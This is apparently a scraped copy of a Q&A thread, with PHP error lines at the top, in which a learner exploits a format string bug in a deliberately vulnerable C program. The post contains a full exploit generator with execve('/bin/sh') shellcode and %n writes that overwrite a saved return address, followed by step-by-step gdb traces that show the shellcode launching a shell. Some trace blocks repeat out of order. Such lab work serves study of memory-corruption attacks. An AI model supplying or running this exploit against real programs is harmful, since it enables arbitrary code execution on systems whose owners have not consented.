Warning: file_get_contents(/data/phpspider/zhask/data//catemap/7/arduino/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux 格式化字符串错误-利用_Linux_Debugging_Exploit_Shellcode - Fatal编程技术网

Linux 格式化字符串错误-利用

Linux 格式化字符串错误-利用,linux,debugging,exploit,shellcode,Linux,Debugging,Exploit,Shellcode,我正试图利用我的格式字符串错误,它存在于这个程序中: #include <sys/types.h> #include <sys/uio.h> #include <unistd.h> #include <stdio.h> #include <string.h> void foo(char* tmp, char* format) { /* write into tmp a string formated as the format a

我正试图利用我的格式字符串错误,它存在于这个程序中:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}
因此,基本思想是编写一个%x、%n、。。。并将其输入程序。我用来建立输入字符串的程序是:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}
#包括
#包括
#包括
#包括
#包括
#包括
字符外壳代码[]=
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
main()
{
char b0[255];
字符b1[255];
字符b2[255];
char b3[255];
字符b4[1024];
字符缓冲区[512];
memset(b0,0255);
memset(b1,0255);
memset(b2,0255);
memset(b3,0255);
memset(b4,'A',1024);
memset(b0'A',0x68-0x10-0x28);//0x10因为有四个地址;0x28因为外壳代码
memset(b1,‘A’,0xf0-0x68);
memset(b2,'A',0xff-0xf0);
memset(b3,'A',0x1bf-0xff);
printf(“\x48\xf0\xff\xbf”
“\x49\xf0\xff\xbf”
“\x4a\xf0\xff\xbf”
“\x4b\xf0\xff\xbf”
%s
%s
“%%6$n”
%s
“%%7$n”
%s
“%%8$n”
%s
“%%9$n”
,外壳代码,b0,b1,b2,b3);
}
我们可以看到,我已经用以下十六进制数覆盖了地址:0xbffff048、0xbffff049、0xbffff04a、0xbffff04b:0x68、0xf0、0xff、0x1bf,这给了我们地址:0xbffff068(内存中外壳代码的地址)。因此,我们的想法是用这个地址覆盖0x08048528(EIP),所以当函数返回时,它将跳转到那个地址

我已经做了所有这一切,并与调试器检查,这一切都是好的。但是我仍然从/lib/libc.so.6中得到vfprintf()中的分段错误

有人知道发生了什么事吗。我把事情搞砸了吗

谢谢

完全重写

  • 好的,你们知道堆栈是可执行的。好
  • 您应该尝试禁用堆栈地址随机化
  • 这似乎是x86,但这类信息应该添加到问题中

  • 地址有一点变化,但我已经按照你说的做了,我使用了stepi,结果是:

    strcpy之后,内存看起来像:

    (gdb) x/50x $esp
    0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
    0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
    0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
    0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
    0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
    0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
    0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
    0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141
    
    (gdb) x/50x 0xbffff024
    0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
    0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
    0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
    0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
    0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
    0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
    0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
    0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141
    
    我们可以看到要跳转到的地址现在是0xbffff050,这是正确的(这是我们的外壳代码)

    然后我执行步骤I:

    (gdb) i reg $eip
    eip            0x804846c        0x804846c <foo+24>
    (gdb) stepi
    0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
    13      }
    

    好的,它试图跳到0xbffff050上,但没有成功,或者怎么了?EIP仍为0xbffff050

    内存看起来像:

    (gdb) x/50x $esp
    0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
    0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
    0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
    0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
    0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
    0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
    0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
    0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141
    
    (gdb) x/50x 0xbffff024
    0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
    0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
    0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
    0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
    0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
    0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
    0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
    0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141
    
    我没有使用$esp来显示内存,因为它已从0xbffff024更改为0xbffff034

    好的,让我们跳到0xbffff06c(这是外壳代码的开始):

    好的,让我们调用0xbffff052:

    (gdb) stepi
    0xbffff052 in ?? ()
    (gdb) x/4i $eip
    => 0xbffff052:  pop    esi
       0xbffff053:  xor    eax,eax
       0xbffff055:  mov    BYTE PTR [esi+0x7],al
       0xbffff058:  lea    ebx,[esi]
    
    让我们使用上一次呼叫的返回地址存储ESI register:

    (gdb) stepi
    0xbffff053 in ?? ()
    (gdb) x/4i $eip
    => 0xbffff053:  xor    eax,eax
       0xbffff055:  mov    BYTE PTR [esi+0x7],al
       0xbffff058:  lea    ebx,[esi]
       0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
    (gdb) i reg $esi
    esi            0xbffff071       -1073745807
    
    让我们将EAX设置为0:

    (gdb) stepi
    0xbffff055 in ?? ()
    (gdb) i reg $eax
    eax            0x0      0
    
    让我们将null写入内存中的位置:

    (gdb) x/4i $eip
    => 0xbffff055:  mov    BYTE PTR [esi+0x7],al
       0xbffff058:  lea    ebx,[esi]
       0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
       0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
    
    (gdb) x/20x $esp
    before:
    0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
    0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
    
    after:
    0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
    0xbffff074:     0x68732f6e      0x41414100      0x41414141      0x4141414
    
    执行LEA指令:

    (gdb) x/4i $eip
    => 0xbffff058:  lea    ebx,[esi]
       0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
       0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
       0xbffff060:  mov    al,0xb
    (gdb) x/x $esi
    0xbffff071:     0x6e69622f
    (gdb) x/x $ebx
    0x29aff4:       0x00158d7c
    (gdb) stepi
    0xbffff05a in ?? ()
    (gdb) x/x $ebx
    0xbffff071:     0x6e69622f
    
    (gdb) x/4i $eip
    => 0xbffff06a:  int    0x80
       0xbffff06c:  call   0xbffff052
       0xbffff071:  das
       0xbffff072:  bound  ebp,QWORD PTR [ecx+0x6e]
    (gdb) stepi
    process 2863 is executing new program: /bin/dash
    
    Program exited normally.
    
    另一个内存更改:

    (gdb) x/4i $eip
    => 0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
       0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
       0xbffff060:  mov    al,0xb
       0xbffff062:  mov    ebx,esi
    (gdb) stepi
    0xbffff05d in ?? ()
    (gdb) stepi
    0xbffff060 in ?? ()
    (gdb) x/40x $esp
    0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
    0xbffff074:     0x68732f6e      0xfff07100      0x000000bf      0x41414100
    
    用系统调用填充EAX:

    (gdb) x/4i $eip
    => 0xbffff060:  mov    al,0xb
       0xbffff062:  mov    ebx,esi
       0xbffff064:  lea    ecx,[esi+0x8]
       0xbffff067:  lea    edx,[esi+0xc]
    (gdb) i reg $eax
    eax            0x0      0
    (gdb) stepi
    0xbffff062 in ?? ()
    (gdb) i reg $eax
    eax            0xb      11
    
    填充ebx、ecx、edx:

    (gdb) x/4i $eip
    => 0xbffff062:  mov    ebx,esi
       0xbffff064:  lea    ecx,[esi+0x8]
       0xbffff067:  lea    edx,[esi+0xc]
       0xbffff06a:  int    0x80
    (gdb) stepi
    0xbffff064 in ?? ()
    (gdb) stepi
    0xbffff067 in ?? ()
    (gdb) stepi
    0xbffff06a in ?? ()
    (gdb) i reg $eax $ebx $ecx $edx
    eax            0xb      11
    ebx            0xbffff071       -1073745807
    ecx            0xbffff079       -1073745799
    edx            0xbffff07d       -1073745795
    
    执行int指令:

    (gdb) x/4i $eip
    => 0xbffff058:  lea    ebx,[esi]
       0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
       0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
       0xbffff060:  mov    al,0xb
    (gdb) x/x $esi
    0xbffff071:     0x6e69622f
    (gdb) x/x $ebx
    0x29aff4:       0x00158d7c
    (gdb) stepi
    0xbffff05a in ?? ()
    (gdb) x/x $ebx
    0xbffff071:     0x6e69622f
    
    (gdb) x/4i $eip
    => 0xbffff06a:  int    0x80
       0xbffff06c:  call   0xbffff052
       0xbffff071:  das
       0xbffff072:  bound  ebp,QWORD PTR [ecx+0x6e]
    (gdb) stepi
    process 2863 is executing new program: /bin/dash
    
    Program exited normally.
    
    第二步:

    (gdb) stepi
    The program is not being run.
    

    所以我想没有错误,它是有效的。但问题仍然是,当我正常启动程序时,我无法获得/bin/dash控制台。有趣的是,进程2863只是立即退出……而没有提示在gdb中输入shell?有什么想法吗?

    您的shell代码在“可理解”程序集中是什么样子的?是的,它是可执行的,我已将其设置为:execstack-s./main。。。所以这不应该是问题。“好吧,它试图跳到0xbffff050上,但没有成功,或者什么?”-你没有
    x/4i$eip
    不会执行任何操作。我建议你在每次
    步骤之前使用它。。。是的,它跳到0xbffff050上。它可以很好地执行整个外壳代码,但在最后它只是立即结束。当在shell中运行它时(不是在gdb中),什么都不会发生。。。有什么想法吗?我会把问题标记为已解决。从跟踪中可以看出,溢出工作正常,问题出在地址上,因为当程序在shell或gdb中运行时,地址不同。固定的。谢谢你们的帮助。